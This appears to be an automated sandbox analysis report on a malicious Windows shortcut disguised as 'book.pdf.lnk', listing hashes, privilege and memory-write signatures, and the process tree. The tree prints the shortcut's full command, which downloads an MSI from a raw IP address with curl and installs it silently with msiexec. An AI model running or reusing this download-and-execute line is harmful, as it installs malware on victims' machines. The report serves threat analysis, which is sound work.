8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d

Resubmissions

24-08-2023 17:35

230824-v568qafh4y 3

23-08-2023 19:18

23-08-2023 19:16

21-08-2023 09:54

21-08-2023 00:59

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
21-08-2023 09:54

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General

Target

book.pdf.lnk
Size

1KB
MD5

0185e0fc2f505312001e1a65e6783908
SHA1

8e4cf0397ba32d233a515a5aca02751f6f9344c6
SHA256

8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d
SHA512

1a484bb08401fd7476d37029fa753aa82af10aa702f30fa30568ff7eaf94b484e604bbff9f6b5a67179a7d708cf61bb767fa974e0a9f35e751d74d9a2dd4fefc

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

msiexec.exe

pid process

2564 msiexec.exe

pid	process
2564	msiexec.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	2564	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2564	msiexec.exe
Token: SeRestorePrivilege	2804	msiexec.exe
Token: SeTakeOwnershipPrivilege	2804	msiexec.exe
Token: SeSecurityPrivilege	2804	msiexec.exe
Token: SeCreateTokenPrivilege	2564	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2564	msiexec.exe
Token: SeLockMemoryPrivilege	2564	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2564	msiexec.exe
Token: SeMachineAccountPrivilege	2564	msiexec.exe
Token: SeTcbPrivilege	2564	msiexec.exe
Token: SeSecurityPrivilege	2564	msiexec.exe
Token: SeTakeOwnershipPrivilege	2564	msiexec.exe
Token: SeLoadDriverPrivilege	2564	msiexec.exe
Token: SeSystemProfilePrivilege	2564	msiexec.exe
Token: SeSystemtimePrivilege	2564	msiexec.exe
Token: SeProfSingleProcessPrivilege	2564	msiexec.exe
Token: SeIncBasePriorityPrivilege	2564	msiexec.exe
Token: SeCreatePagefilePrivilege	2564	msiexec.exe
Token: SeCreatePermanentPrivilege	2564	msiexec.exe
Token: SeBackupPrivilege	2564	msiexec.exe
Token: SeRestorePrivilege	2564	msiexec.exe
Token: SeShutdownPrivilege	2564	msiexec.exe
Token: SeDebugPrivilege	2564	msiexec.exe
Token: SeAuditPrivilege	2564	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2564	msiexec.exe
Token: SeChangeNotifyPrivilege	2564	msiexec.exe
Token: SeRemoteShutdownPrivilege	2564	msiexec.exe
Token: SeUndockPrivilege	2564	msiexec.exe
Token: SeSyncAgentPrivilege	2564	msiexec.exe
Token: SeEnableDelegationPrivilege	2564	msiexec.exe
Token: SeManageVolumePrivilege	2564	msiexec.exe
Token: SeImpersonatePrivilege	2564	msiexec.exe
Token: SeCreateGlobalPrivilege	2564	msiexec.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3000 wrote to memory of 2484	3000	cmd.exe	cmd.exe
PID 3000 wrote to memory of 2484	3000	cmd.exe	cmd.exe
PID 3000 wrote to memory of 2484	3000	cmd.exe	cmd.exe
PID 2484 wrote to memory of 2564	2484	cmd.exe	msiexec.exe
PID 2484 wrote to memory of 2564	2484	cmd.exe	msiexec.exe
PID 2484 wrote to memory of 2564	2484	cmd.exe	msiexec.exe
PID 2484 wrote to memory of 2564	2484	cmd.exe	msiexec.exe
PID 2484 wrote to memory of 2564	2484	cmd.exe	msiexec.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\book.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo %cd% > C:\Users\Admin\AppData\Local\Temp\ruta.txt & echo eGz & echo zv & echo GMp & echo RC & curl -o C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi http://107.181.161.200:443/msiffbjzugu & msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\system32\msiexec.exe
    msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of AdjustPrivilegeToken
    PID:2564

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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